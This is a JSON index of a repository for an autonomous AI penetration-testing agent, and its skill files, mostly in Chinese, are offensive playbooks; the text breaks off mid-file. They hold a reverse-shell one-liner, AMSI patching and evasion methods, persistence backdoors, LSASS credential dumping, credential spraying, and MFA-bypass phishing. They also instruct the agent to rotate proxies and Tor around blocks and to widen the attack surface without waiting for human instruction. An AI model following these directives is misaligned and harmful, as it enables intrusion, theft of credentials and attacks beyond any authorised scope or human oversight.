{"owner":"Ed1s0nZ","repo":"CyberStrikeAI","hasSkills":true,"totalSkillsCount":143,"totalTokensCount":53376,"categories":["anthropic-skill","subagent-persona","plugin-manifest"],"hasMcp":true,"mcpConfig":{"mcpServers":{"CyberStrikeAI":{"command":"npx","args":["-y","@modelcontextprotocol/server-CyberStrikeAI"]}}},"found":["skills/pentest-verification/SKILL.md","skills/pentest-output-standards/SKILL.md","skills/post-exploitation/SKILL.md","skills/proxy-tool-bootstrap/SKILL.md","skills/pentest-agent-os/SKILL.md","skills/pentest-blackboard/SKILL.md","skills/initial-access-phishing/SKILL.md","skills/cyberstrike-eino-demo/SKILL.md","skills/capability-primitive-search/SKILL.md","skills/component-vuln-intel/SKILL.md","skills/blockchain-contract-attack/SKILL.md","skills/cloud-attack-methods/SKILL.md","skills/binary-mobile-reversing/SKILL.md","skills/attack-surface-recon/SKILL.md","skills/ai-llm-app-attack/SKILL.md","skills/active-directory-attack/SKILL.md","skills/redteam-opsec/SKILL.md","skills/source-code-hunting/SKILL.md","skills/specialized-attack-playbooks/SKILL.md","skills/unlimited-attack-scope/SKILL.md","skills/web-attack-methods/SKILL.md","skills/wireless-hardware-attack/SKILL.md","skills/zero-day-discovery/SKILL.md","mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md","agents/attack-surface-enumeration.md","agents/cleanup-rollback.md","agents/engagement-planning.md","agents/impact-exfiltration.md","agents/intel-collection.md","agents/lateral-movement.md","agents/opsec-evasion.md","agents/orchestrator.md","agents/orchestrator-plan-execute.md","agents/orchestrator-supervisor.md","agents/penetration.md","agents/persistence-maintenance.md","agents/privilege-escalation.md","agents/recon.md","agents/reporting-remediation.md","agents/vulnerability-triage.md","plugins/README.md","skills/README.md","tools/amass.yaml","tools/angr.yaml","tools/api-schema-analyzer.yaml","tools/arjun.yaml","tools/arp-scan.yaml","tools/binwalk.yaml","tools/bloodhound.yaml","tools/checkov.yaml","tools/checksec.yaml","tools/clair.yaml","tools/cloudmapper.yaml","tools/dalfox.yaml","tools/dirsearch.yaml","tools/dnsenum.yaml","tools/dnslog.yaml","tools/dotdotpwn.yaml","tools/enum4linux-ng.yaml","tools/exec.yaml","tools/execute-python-script.yaml","tools/exiftool.yaml","tools/falco.yaml","tools/feroxbuster.yaml","tools/ffuf.yaml","tools/fierce.yaml","tools/fofa_search.yaml","tools/foremost.yaml","tools/fscan.yaml","tools/gau.yaml","tools/gdb.yaml","tools/ghidra.yaml","tools/gobuster.yaml","tools/graphql-scanner.yaml","tools/hashcat.yaml","tools/hashpump.yaml","tools/http-framework-test.yaml","tools/hydra.yaml","tools/impacket.yaml","tools/install-python-package.yaml","tools/jaeles.yaml","tools/john.yaml","tools/jwt-analyzer.yaml","tools/katana.yaml","tools/kube-bench.yaml","tools/kube-hunter.yaml","tools/libc-database.yaml","tools/lightx.yaml","tools/linpeas.yaml","tools/masscan.yaml","tools/metasploit.yaml","tools/msfvenom.yaml","tools/nbtscan.yaml","tools/netexec.yaml","tools/nikto.yaml","tools/nmap.yaml","tools/nuclei.yaml","tools/objdump.yaml","tools/one-gadget.yaml","tools/pacu.yaml","tools/paramspider.yaml","tools/prowler.yaml","tools/pwninit.yaml","tools/pwntools.yaml","tools/quake_search.yaml","tools/query-execution-result.yaml","tools/radare2.yaml","tools/README.md","tools/README_EN.md","tools/responder.yaml","tools/ropgadget.yaml","tools/ropper.yaml","tools/rpcclient.yaml","tools/rustscan.yaml","tools/scout-suite.yaml","tools/shodan_search.yaml","tools/smbmap.yaml","tools/sqlmap.yaml","tools/steghide.yaml","tools/strings.yaml","tools/subfinder.yaml","tools/terrascan.yaml","tools/trivy.yaml","tools/virustotal_search.yaml","tools/volatility3.yaml","tools/wafw00f.yaml","tools/waybackurls.yaml","tools/wpscan.yaml","tools/x8.yaml","tools/xsser.yaml","tools/xxd.yaml","tools/zap.yaml","tools/zoomeye_search.yaml","tools/zsteg.yaml","skills/cyberstrike-eino-demo/FORMS.md","skills/cyberstrike-eino-demo/REFERENCE.md","plugins/burp-suite/cyberstrikeai-burp-extension/README.md","plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md","plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json","plugins/browser-extension/cyberstrikeai-browser-extension/README.md","plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md","skills/cyberstrike-eino-demo/references/citations.md","skills/cyberstrike-eino-demo/scripts/report-snippet.json"],"skills":{"skills/pentest-verification/SKILL.md":"---\nname: pentest-verification\ndescription: >-\n  验证铁律:搜索≠漏洞,confirmed Fact须证据,tentative表线索,禁止空泛推测,负结果也落库,\n  想象力拉满+单步验证零容忍。Use when writing project facts, validating findings, or avoiding hallucination.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 验证铁律（全系统最高规则，违反即幻觉）\n\n```\n1. 搜索结果 ≠ 漏洞。公开情报/PoC线索不可直接 record_vulnerability，也不可写 confidence=confirmed；\n   可写 tentative 的 note/finding 线索，或只留本轮待验证方向，验证后再落库。\n2. 每个 confirmed Fact 必须在 body（或关联漏洞 POC）附验证证据:命令输出/HTTP响应/文件内容/回连记录。\n3. 禁止\"可能/疑似/推测XX\" —— 要么确认+证据写 Fact/漏洞，要么 tentative 标明线索，要么不报。\n4. 验证失败 → 写负结果 Fact(\"测了XX,无可利用漏洞\")，用 upsert_project_fact 落库，防止重复尝试。\n5. 想象力拉满(敢想全网没人串过的链),单步验证零容忍(每段用真实证据钉死后再 confirmed)。\n```\n\n与黑板工具对齐见 `pentest-blackboard`。\n","skills/pentest-output-standards/SKILL.md":"---\nname: pentest-output-standards\ndescription: >-\n  输出规范:中文分析,思维链,漏洞报告模板,负结果,黑板状态总览,改动台账,死锁突破。\n  Use when reporting findings, maintaining change ledger, or formatting pentest output.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 输出规范\n\n```\n语言: 所有分析/推理/报告用中文,工具命令和代码用英文,CVE编号保留英文。\n每步思维链: 当前模式(单代理/deep/plan_execute/supervisor) + 已读黑板要点 + 决策推理 + 执行 + 结果摘要\n  + 是否已 upsert_project_fact / record_vulnerability。\n漏洞报告(每个已验证 Fact/可交付项): 漏洞名+严重程度+影响版本+利用条件+利用步骤(请求/响应)+验证证据(✓实际输出)+影响+修复建议。\n  → 同步 record_vulnerability；复现上下文另 upsert finding/chain/exploit/poc Fact。\n负结果: 测试方法+结果+排除原因 → upsert 负结果 Fact，避免重复打点。\n图状态总览(每轮结束): list/search_project_facts 摘要 + 当前进度 + 下一步；勿臆造未 get 的 body。\n🚨改动台账(每处写入型改动实时记账,清不清交用户): #|时间|主机|类型|位置|内容|回滚命令\n  类型:webshell/新建账户/改配置/持久化/权限改动(DCSync/RBCD/影子凭据)/申请凭据/数据库改动/网络改动\n  改配置前先备份.bak把路径写进台账 | 交付输出完整台账+一键回滚脚本(逆序生成),系统绝不擅自清理。\n  可选: note/change-* Fact 固化台账条目。\n死锁突破(连续多轮负结果且无新攻击面): 强制 list/search_project_facts 重审 → 换域/深度狩猎 → 向用户请求澄清或授权边界。\n```\n","skills/post-exploitation/SKILL.md":"---\nname: post-exploitation\ndescription: >-\n  后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 后渗透 / 提权 / 凭据破解 / 密码学\n\n```\n=== 后渗透/提权 ===\n反弹shell: bash -i >& /dev/tcp/IP/4444 0>&1 | OpenSSL加密绕IDS | PTY: python3 -c 'import pty;pty.spawn(\"/bin/bash\")'\nLinux提权: sudo -l;SUID(GTFOBins);getcap;cron;可写文件 | LinPEAS/pspy | cap_setuid/Docker组/LD_PRELOAD\nWindows提权: PrintSpoofer/GodPotato(SeImpersonate) | 服务错配/AlwaysInstallElevated | procdump LSASS→Mimikatz | winPEAS\n横向: PtH crackmapexec/wmiexec | SSH密钥收割 | 凭据位置 .bash_history/.my.cnf/.netrc/.git-credentials\n🚨RDP凭据确认(密码正确但RDP未启用): hydra报\"account might be valid but not active for remote desktop\" + impacket rdp_check返回\"Connection reset by peer\"(而非\"Access Denied\")= 密码正确但账户无RDP权限。\n  验证: 先用已知错误密码测rdp_check得到\"Access Denied\"作基线,目标密码返回reset=确认。确认后用同凭据喷其他服务(FTP/SMB/MySQL/BT Panel/SSH/Web后台)。\n隧道: ssh -L/-D/-J | chisel反向SOCKS | ligolo-ng | 容器逃逸:特权容器chroot/CAP_SYS_ADMIN/docker.sock/runc CVE\n免杀: Linux DDexec内存执行/memfd | Windows AMSI修补/直接syscall(SysWhispers3)/Donut/Sliver/Havoc\nC2/持久化技术清单: Beacon(长睡眠+jitter低调) vs 交互式shell(打点快但吵) | 信道 HTTPS/DNS隧道/域前置(Domain Fronting)/CDN前置/合法云(Slack/Telegram/GitHub当C2)\n  Linux持久化: cron/systemd timer/SSH authorized_keys/PAM后门/LD_PRELOAD/.bashrc/rc.local/恶意内核模块\n  Windows持久化: 注册表Run键/计划任务/服务/WMI事件订阅(无文件)/启动文件夹/DLL劫持/COM劫持/快捷方式 | 每处持久化都进 `pentest-output-standards` 台账可回滚\n\n=== 凭据破解 + 密码学攻击 ===\nhash破解: hashcat -m <mode> hash wordlist -r rules/best64.rule | 识别 hashid/hash-identifier | 常用mode 0(MD5)/100(SHA1)/1000(NTLM)/1800(sha512crypt)/3200(bcrypt)/13100(Kerberoast TGS)/18200(AS-REP)/22000(WPA)/16500(JWT)\n  策略: 先字典(rockyou)+规则(best64/dive)→掩码爆破?d?d?d?d→组合攻击 | john --format= 兜底 | 在线彩虹表 crackstation先查\n密码学攻击(不用爆破直接破): Padding Oracle(padbuster解密/伪造CBC密文) | ECB字节翻转(分块猜) | hash长度扩展(hashpump伪造签名,服务端 hash(secret+data)校验) | 弱IV/固定nonce复用(异或还原明文) | RSA小e/共模/Wiener小d(RsaCtfTool) | JWT alg混淆见 `web-attack-methods` 认证授权\n```\n","skills/proxy-tool-bootstrap/SKILL.md":"---\nname: proxy-tool-bootstrap\ndescription: >-\n  自找代理+工具自举:SOCKS5/HTTP/Tor换路序列,工具Python自举,字典自生成,OOB基础设施。Use when blocked by 403/429/WAF/timeout, missing tools, or needing OOB confirmation.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 自找代理 + 工具自举（被拦换路，没工具自己写）\n\n```\n🔴代理(收到拒绝/限流/超时 → 第一反应不是重试,是换路。不换路=放弃=违反黑板触发器2（见 `pentest-blackboard`）):\n  执行序列(按顺序,前一步失败才下一步):\n  ①探目标地区: terminal: curl -s \"http://ip-api.com/json/{目标IP}\" | python3 -c \"import sys,json;d=json.load(sys.stdin);print(d['country'],d['countryCode'])\"\n  ②获取该地区SOCKS5代理: terminal: curl -s \"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&country={countryCode}&timeout=5000\" | head -20\n  ③验证代理可达目标: terminal: curl --socks5 {PROXY_IP:PORT} --connect-timeout 8 -s -o /dev/null -w \"%{http_code}\" {目标URL}\n  ④200=可用,立即用此代理重新执行被拦请求; 非200=换下一个代理重复③\n  ⑤全部SOCKS5失败→获取HTTP代理: terminal: curl -s \"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&country={countryCode}&timeout=5000\" | head -20\n  ⑥HTTP代理验证: terminal: curl --proxy http://{PROXY_IP:PORT} --connect-timeout 8 -s -o /dev/null -w \"%{http_code}\" {目标URL}\n  ⑦全代理失败→Tor: terminal: curl --socks5 127.0.0.1:9050 --connect-timeout 15 {目标URL}\n  工具统一加代理参数: curl --socks5 / sqlmap --proxy=socks5://{P} / nmap --proxies socks5://{P} / nuclei -proxy socks5://{P} / ffuf -x socks5://{P}\n  轮换策略: 429/403→立即换下一个代理,每20请求主动换(避免新IP也被ban) | Cloudflare→代理池+请求间隔2-5s随机\n  🚨HTTP代理vs SOCKS5: HTTP代理会插入自己的错误页(502/无法显示此页)导致无法区分目标实际响应→需探测时必须用SOCKS5(--socks5)\n    ProxyScrape SOCKS5: https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&country=CN,JP&timeout=5000\n    验证SOCKS5: curl --socks5 IP:PORT --connect-timeout 5 目标 | HTTP代理只适合已确认可达的目标做匿名/轮换\n工具自举(which X || 用Python实现):\n  无nmap→socket扫端口 | 无ffuf→requests爆目录 | 无sqlmap→手工payload检测 | 无hydra→requests爆破 | 无nuclei→requests打已知payload\n  复杂工具用Python模拟:爬虫requests+bs4 / 编码base64/hex / 哈希hashlib / 加密pycryptodome / 嗅探scapy\n字典自生成: 基于目标域名/公司名造变体 | 从网页提关键词 | 用户名+年份+特殊字符组合 | 服务默认凭据\nOOB基础设施(盲漏洞都靠它): interactsh-client拿oast.fun域名 | 或VPS python3 -m http.server/nc看回连 | ngrok/cloudflared隧道\n  → 看到OOB回连(DNS查询/HTTP请求)才算确认 → 写Fact\n```\n\n","skills/pentest-agent-os/SKILL.md":"---\nname: pentest-agent-os\ndescription: >-\n  渗透测试Agent操作系统。把渗透抽象成状态空间搜索:不预设固定路径,以项目黑板 Fact 图\n  (upsert_project_fact)+漏洞记录沉淀认知,路径从已验证事实上涌现。覆盖全杀伤链攻击手法\n  (联网情报/Web/认证/服务端/源码/社工/后渗透/二进制/内网域/云/区块链/AI/无线/硬件)+0day+\n  组合拳+代理自举。核心:全网搜不到洞时现场推导独属于目标的攻击链。本文件为套件索引。\n  Use when starting a full-chain pentest engagement or needing the skill map for this suite.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队, autonomous]\n---\n\n# 渗透测试Agent操作系统\n\n> **渗透不是执行脚本,是搜索路径。**\n> 不给自己预设固定路径/角色/已知利用链。给定起点与目标,\n> 路径未知 → 在状态空间里搜索:不断试不同路径、试错、反馈、逼近目标。\n> **跳出固有攻击链** = 不问\"它有没有已知CVE\",而问\"基于项目黑板上已掌握的事实,下一步最有效的动作是什么\"。\n> 状态落点见 `pentest-blackboard`（SQLite 项目事实，非磁盘 Intent/Hint 状态机）。\n\n## 套件映射（按作用分类）\n\n| 主题 | skill `name` | 作用 |\n|------|--------------|------|\n| 套件索引与核心心法 | `pentest-agent-os` | 套件索引与核心心法 |\n| 项目黑板 | `pentest-blackboard` | 项目 Fact 图 / 边记录 / 与漏洞分工 |\n| 验证铁律 | `pentest-verification` | 验证铁律（防幻觉） |\n| 能力原语 + 状态空间搜索 | `capability-primitive-search` | 能力原语凑链/状态空间搜索 |\n| 联网情报收集 | `component-vuln-intel` | 组件识别后联网搜洞 |\n| 侦察/攻击面测绘 | `attack-surface-recon` | 侦察与攻击面测绘 |\n| 初始访问/钓鱼/社工 | `initial-access-phishing` | 初始访问/钓鱼/社工 |\n| Web注入+认证+服务端+杂项+CDN | `web-attack-methods` | Web全栈攻击手法 |\n| 源码狩猎 | `source-code-hunting` | 源码/密钥/供应链狩猎 |\n| 后渗透/提权+凭据破解 | `post-exploitation` | 后渗透/提权/凭据/密码学 |\n| 内网域 | `active-directory-attack` | 内网域/AD攻击 |\n| APK/EXE/二进制 | `binary-mobile-reversing` | 移动端/二进制逆向 |\n| 云 | `cloud-attack-methods` | 云与对象存储攻击 |\n| 区块链/智能合约 | `blockchain-contract-attack` | 区块链/智能合约 |\n| AI/LLM应用 | `ai-llm-app-attack` | AI/LLM应用攻击 |\n| 无线/硬件 | `wireless-hardware-attack` | 无线与硬件攻击 |\n| 0day自主发现引擎 | `zero-day-discovery` | 0day/N-day自主发现 |\n| 自找代理+工具自举 | `proxy-tool-bootstrap` | 代理换路与工具自举 |\n| OPSEC/隐蔽作战 | `redteam-opsec` | OPSEC/隐蔽作战纪律 |\n| 输出规范 | `pentest-output-standards` | 报告/台账/输出规范 |\n| 专题实战+文件索引 | `specialized-attack-playbooks` | 专题实战利用手册 |\n| 不设限原则 | `unlimited-attack-scope` | 不设限原则 |\n\n### 使用方式\n1. 先加载 `pentest-agent-os`（本索引）理解套件结构。\n2. 按当前攻击面加载对应 skill（例：识别组件→`component-vuln-intel`；Web→`web-attack-methods`；全网无洞→`zero-day-discovery`）。\n3. 黑板/铁律/能力原语（`pentest-blackboard` / `pentest-verification` / `capability-primitive-search`）为全流程常驻规则。\n4. 按攻击面加载对应 skill；细节均在目标 skill 内完整保留。\n\n### 强制行为触发器速查（完整原文在 `pentest-blackboard`）\n- 触发1[识别→搜] → 执行 `component-vuln-intel` 全部命令；线索 tentative，验证后再 confirmed/漏洞\n- 触发2[拒绝→换路] → 执行 `proxy-tool-bootstrap` 换路序列；不通则写负结果 Fact\n- 触发3[新认知→横向] → 凭据/域名/IP 立即横向扩展并 `upsert_project_fact`\n\n","skills/pentest-blackboard/SKILL.md":"---\nname: pentest-blackboard\ndescription: >-\n  CyberStrikeAI 项目黑板：跨会话 Fact 图（SQLite）+ upsert_project_fact/record_vulnerability\n  边渗透边记录节奏、关系边 links、confidence、与多代理协调落库。Use when managing project\n  facts, blackboard index, writing evidence, or avoiding context-loss after compression.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队, 项目黑板]\n---\n\n# 项目黑板（与本产品对齐）\n\n> 状态落在**已绑定项目**的 SQLite 黑板，不依赖对话上下文，也不使用 `.pentest/` 目录。\n> 系统自动注入「项目黑板索引」（仅 `fact_key` + summary）；**摘要不足必须 `get_project_fact`，禁止凭摘要臆造细节。**\n\n## 原语与分工（产品模型）\n\n| 概念 | 产品落点 | 规则 |\n|------|----------|------|\n| **Fact** | `project_facts`（`upsert_project_fact`） | 同 `fact_key` **覆盖更新**；非正式漏洞条目。`confidence`: `confirmed` \\| `tentative` \\| `deprecated` |\n| **关系边** | `project_fact_edges`（upsert 的 `links`） | 结构化攻击图；finding/chain/exploit/poc **必须**带 links |\n| **可交付漏洞** | `record_vulnerability` | 与 Fact **可各记一次**：Fact=复现上下文，漏洞=正式 finding |\n| **探索方向** | 本轮计划 / 协调者委派 / plantask（若启用） | **不是**独立 Intent 表；待验证方向用 `confidence=tentative` 的 `note/` 或先不落库、验证后再写 |\n| **人类注入** | 用户消息 / HITL 审批 | 直接吸收进决策；不必写成 Hint 原语 |\n\n### Fact vs 漏洞\n\n- **环境/目标/认证等认知** → 只写 Fact（`target/` `auth/` `infra/` `business/`）\n- **发现与利用上下文** → Fact（`finding/` `chain/` `exploit/` `poc/`）+ body 填满攻击链\n- **可交付 findings** → `record_vulnerability`（标题、严重程度、类型、目标、POC、影响、修复）；记前可用 `list_vulnerabilities` 查重\n\n## 强制节奏：边渗透边记录\n\n勿等会话结束再批量写入。\n\n1. 每**确认**一条新认知（开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化）→ **立即** `upsert_project_fact`（同 key 覆盖）。\n2. 每**验证**出一条可复现漏洞（含 POC/影响）→ **立即** `record_vulnerability`；与事实可各记一次。\n3. 继续下一步前优先落库，避免上下文压缩丢细节。\n4. **未绑项目**：说明无法写黑板，仍在本轮保留证据摘要。\n5. **协调者**：子任务返回新认知/漏洞时由协调者写入，勿假定子代理已记。\n6. **子代理无工具时**：交付物末尾给「待落库」条目（建议 `fact_key`、summary、body/POC 要点），供协调者立即写入。\n\n## 工具速查\n\n| 工具 | 用途 |\n|------|------|\n| `upsert_project_fact` | 写入/更新事实（含 body、confidence、links） |\n| `get_project_fact` | 按 key 取完整 body（索引不够时必调） |\n| `list_project_facts` / `search_project_facts` | 检索黑板 |\n| `deprecate_project_fact` / `restore_project_fact` | 误报废弃 / 恢复 |\n| `record_vulnerability` | 可交付漏洞 |\n| `list_vulnerabilities` / `get_vulnerability` | 查重与详情 |\n\n前置：**当前对话已绑定项目**（否则工具报错）。\n\n## 写入规范\n\n### fact_key / category\n\n- 格式：小写 `category/slug`（如 `target/primary_domain`、`finding/sqli-login`）\n- 环境：`target` \\| `auth` \\| `infra` \\| `business`\n- 发现利用：`finding` \\| `chain` \\| `exploit` \\| `poc`（另可用 `note`）\n- **同一发现保持同一 `fact_key` 覆盖**，勿拆成多个 key 导致上下文丢失\n\n### summary / body / confidence\n\n- **summary**（索引用一行）：须含「什么 + 在哪 + 如何触发/验证」，禁止只写「存在 SQLi」\n- **body**：完整可复现上下文（索引不含 body）。发现/利用类必含：入口 → 步骤 → 原始请求/响应或命令 → 现象 → 证据 → `related_vulnerability_id`（若有）\n- **confidence**：有证据钉死 → `confirmed`；仅线索/待验证 → `tentative`；误报 → `deprecate_project_fact`（或 `deprecated`）\n- 更新时若省略 body，保留库中已有 body（可只改 summary）\n\n### 关系边 links（写入 finding/chain/exploit/poc 时必填）\n\n- 推荐 `from`：来源 fact → 当前 `fact_key`\n- 最少：finding 至少 1 条 `{from: target/*, type: discovered_on}`；在 finding 上挂 exploit 用 `{from: exploit/*, type: exploits}`\n- 常用 type：`discovered_on` \\| `depends_on` \\| `leads_to` \\| `enables` \\| `exploits` \\| `contains` \\| `part_of` \\| `supports`\n- **省略 links** = 保留已有边；传入 links = **替换**全部入边\n\n## 工作方式（对齐本产品编排）\n\n不设 Bootstrap/Reason/Explore 磁盘状态机。按当前运行模式推进，但**读写黑板的纪律不变**：\n\n| 模式 | 黑板用法 |\n|------|----------|\n| 单代理 / deep | 边干边 `upsert_project_fact`；读索引不够则 `get_project_fact` |\n| plan_execute | 计划步骤产出认知后立即落库；重规划前 `list/search_project_facts` |\n| supervisor | 协调者汇总子代理「待落库」并写入；子代理无工具则结构化交付 |\n\n卡住时：换边/换起点/换攻击域；用 `search_project_facts` 重审已有 Fact，避免重复死路。负结果也要落库（见验证铁律 skill）。\n\n## 行为触发器（纪律）\n\n每步必检（不检=违反验证铁律）：\n\n1. **识别→搜**：识别任何组件/框架/版本/中间件 → 暂停利用 → 立即执行 `component-vuln-intel` 全部命令（browser_navigate+terminal curl，7 个步骤全做）→ 结果用 `tentative` Fact 或本轮计划跟踪 → 搜完才继续。不搜就说「无已知漏洞」=幻觉；**验证后**再 `confirmed` / `record_vulnerability`。\n2. **拒绝→换路**：收到 403/429/超时/RST/WAF 拦/CDN 502/限流/空响应 → 禁止同条件重试 → 立即换路序列：SOCKS5 代理→换 UA→加 XFF→换协议(WS/DNS)→换端口→编码变异（完整代理获取/验证见 `proxy-tool-bootstrap`）→ 全换仍不通才写负结果 Fact（`confirmed` + body 写清已测条件）换面。\n3. **新认知→横向**：拿到凭据/域名/IP/路径 → 立即横向喷：凭据全服务复用 / 新域名全端口扫 / IP 反查同站 → 不等人指示自动扩展攻击面，并 `upsert_project_fact`（如 `auth/cred-*`、`target/related-*`）。有凭据不喷=遗漏。\n\n违反判定：不搜就说「无已知漏洞」=幻觉；被拦不换路=放弃；有凭据不喷=遗漏 → 均违反验证铁律。\n\n## 证据 / 战利品 / 改动\n\n| 原「磁盘」概念 | 本产品做法 |\n|----------------|------------|\n| evidence/ | Fact `body` + `record_vulnerability` 的证明字段 + 工具执行记录；大文件放会话/项目 workspace |\n| loot/ | 凭据特征写入 `auth/` Fact（注意脱敏与授权范围）；完整秘密按项目策略处理 |\n| changelog.md | 写入型改动在回复中台账化，并可 `note/change-*` Fact 记录主机/类型/位置/回滚命令 |\n\n## 与验证铁律的衔接\n\n详见 `pentest-verification`：搜索≠漏洞；无证据不写 `confirmed`；禁止空泛「可能/疑似」当结论；验证失败写负结果 Fact。\n","skills/initial-access-phishing/SKILL.md":"---\nname: initial-access-phishing\ndescription: >-\n  初始访问/钓鱼/社工:凭据喷洒,AiTM,设备码,OAuth同意钓鱼,载荷,vishing。Use when needing initial access, phishing, AiTM, device code, or social engineering.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 初始访问 / 钓鱼 / 社工\n\n```\n=== 初始访问/钓鱼/社工(外部进内部第一跳,打点前的打点) ===\n凭据喷洒: 弱密码(Season+Year!/公司名123)喷全体账号(每账号1-2次避锁定) | 来源:泄露库/OSINT邮箱格式(f.last@)/默认凭据\nAiTM钓鱼(绕MFA): evilginx3/Modlishka反代真站→中间人偷session cookie+token(绕MFA) | phishlet配域名+证书\n设备码钓鱼(Azure/M365): device code flow→诱导受害者输码→拿access/refresh token(无需密码/MFA) | TokenTactics/AADInternals\n钓鱼载荷: gophish发信+落地页 | 载荷 lnk/iso/宏/HTA/OneNote | 绕网关:密码zip/云盘链接/HTML走私\nOAuth同意钓鱼(illicit consent): 恶意App请求过度scope(Mail.Read/offline_access)→受害者同意→长期访问令牌\n社工前戏: OSINT组织架构/供应商/口令习惯(LinkedIn/招聘/GitHub) | pretext借口(IT支持/供应商/HR) | vishing(deepfake声音)\n→ 初始access落地即转 `redteam-opsec`(别一进门就被EDR抓), 拿到的能力进 `capability-primitive-search` 凑链\n```\n","skills/cyberstrike-eino-demo/SKILL.md":"---\nname: cyberstrike-eino-demo\ndescription: 满配示例技能包：SKILL.md + scripts/、references/、assets/ 等可选目录；验证 Eino skill 与 HTTP 包内路径（仅授权安全测试与教学）。\n---\n\n# CyberStrike × Eino 满配技能演示\n\n本包与 [Agent Skills](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview) 一致：**`SKILL.md` 为清单 + 主说明**（无单独 `SKILL.yaml`）。同目录可有 **`scripts/`**、**`references/`**、**`assets/`** 等任意子目录（只要路径安全、未触达包深度/文件数上限），由 **`ListPackageFiles` / `resource_path`** 与 Eino 本机工具读取。补充说明见 `FORMS.md`、`REFERENCE.md`。\n\n## 概述\n\n用于一次性验证：\n\n- HTTP `GET /api/skills` 列表（`script_count`、`file_count`、`progressive` 等为推导/扫描结果）\n- `GET /api/skills/cyberstrike-eino-demo?depth=summary|full`\n- `section=` 对应 `SKILL.md` 中 **`##` 标题**或 ASCII 标题的短 id（例如 `## Payload 样例` 常对应 `section=payload`）\n- 多代理内 ADK **`skill`** 工具（及可选本机文件工具）读取包内相对路径资源\n- Eino `FilesystemSkillsRetriever` 对包摘要、`##` 分块、脚本条目的检索\n\n**硬性要求**：任何测试须取得书面授权，并限定在约定范围与时间窗口内。\n\n## 授权测试工作流\n\n1. **范围确认**：域名 / IP、接口列表、禁止动作（DoS、数据拖库等）。\n2. **基线记录**：对约定资产做只读探测，保存时间戳与原始请求/响应摘要。\n3. **分类测试**：按漏洞类型拆分任务；高风险操作前二次确认授权边界。\n4. **证据与报告**：每个发现附带复现步骤、影响、修复建议；敏感数据脱敏。\n5. **收尾**：删除临时账号、清理测试数据、移交报告。\n\n## Payload 样例\n\n以下为 **教学占位**，实际测试需替换为目标上下文且不得用于未授权系统：\n\n- SQLi 探测（错误型）：`\"'`（观察是否触发数据库错误信息泄露）\n- XSS 反射型（无害化）：`<script>alert(1)</script>` → 在靶场中应被编码或 CSP 拦截\n- 路径穿越（只读验证）：`....//....//etc/passwd`（仅在授权文件读取场景）\n\n详细列表见 `scripts/payloads.txt`。\n\n## references/ 与 assets/\n\n用于验证非 `scripts/` 的子目录是否被同等对待：\n\n| 路径 | 用途 |\n|------|------|\n| `references/citations.md` | 引用与 HTTP `resource_path` 测试说明 |\n| `assets/README.txt` | 占位资源（可换成真实二进制做读文件上限测试） |\n\n## 推荐工具链\n\n| 阶段 | 工具示例 |\n|------|-----------|\n| 代理与重放 | Burp Suite、mitmproxy |\n| 扫描与目录 | ffuf、nuclei（需调低并发遵守授权） |\n| 漏洞验证 | 自写 PoC、官方 CLI（sqlmap 等）仅在授权范围内 |\n| 记录 | Markdown + JSON 片段模板（见 `scripts/report-snippet.json`） |\n\n## 清单与验证\n\n- [ ] 已保存书面授权与测试窗口\n- [ ] `scripts/` 下文件与正文引用一致\n- [ ] Web 或 `GET /api/skills?...` 可核对索引；多代理会话内用 **`skill`** 工具按包加载以节省 token\n- [ ] 需要细节时通过 **`skill`** 拉全文，或 HTTP `depth=full`、`section=<标题或短 id>`\n- [ ] 需要脚本原文时通过本机文件工具或 HTTP `resource_path=scripts/check-env.sh`\n- [ ] `resource_path=references/citations.md` 与 `resource_path=assets/README.txt` 可读取\n","skills/capability-primitive-search/SKILL.md":"---\nname: capability-primitive-search\ndescription: >-\n  能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 能力原语 + 状态空间搜索\n\n```\n心法: RCE不是一个\"漏洞\",是一组\"能力\"凑齐后的涌现。没单点大洞时,几个info级/低危照样拼出代码执行。\n  固有思维(要打破): \"扫不到RCE/反序列化/上传→这站打不动了\"。你的活不是\"找RCE漏洞\",是\"凑齐执行所需的原语\"。\n  把每个Fact抽象成能力原语(不记\"发现X漏洞\",记\"现在拥有什么能力+限制\"):\n    read(path) write(path) exec(cmd) ssrf(url) sqli redirect(url) eval_expr idor(id) cred(svc,priv) coerce_auth write_acl\n\nRCE只需满足任意一条等式,拆成可获取的原语去凑:\n  A. 能写文件 + 文件被当代码执行                = RCE\n  B. 能控配置/env + 配置指向你的代码            = RCE\n  C. 能进管理面 + 面板自带执行功能              = RCE(不是漏洞,是功能!)\n  D. 有凭据 + 服务有合法执行入口                = RCE(滥用合法功能)\n  E. 能任意读 + 读到凭据 + 凭据可登录执行点      = RCE\n  F. 能控数据 + 数据流入危险sink(eval/模板/SQL) = RCE\n\n低危→原语映射(把\"鸡肋漏洞\"翻译成拼图碎片):\n  info泄露(.git/备份/堆栈)→源码/路径/密钥→喂B/E/F | LFI/任意读→读配置密钥→E,或日志投毒→A\n  SSRF(哪怕只GET)→打内网Redis/Consul/K8s/云元数据→C; 云元数据拿临时凭据→D\n  弱/默认/复用凭据→进带任务/插件/webhook/CI功能的后台→C | CORS/CSRF/XSS→借管理员浏览器调执行类功能→C\n  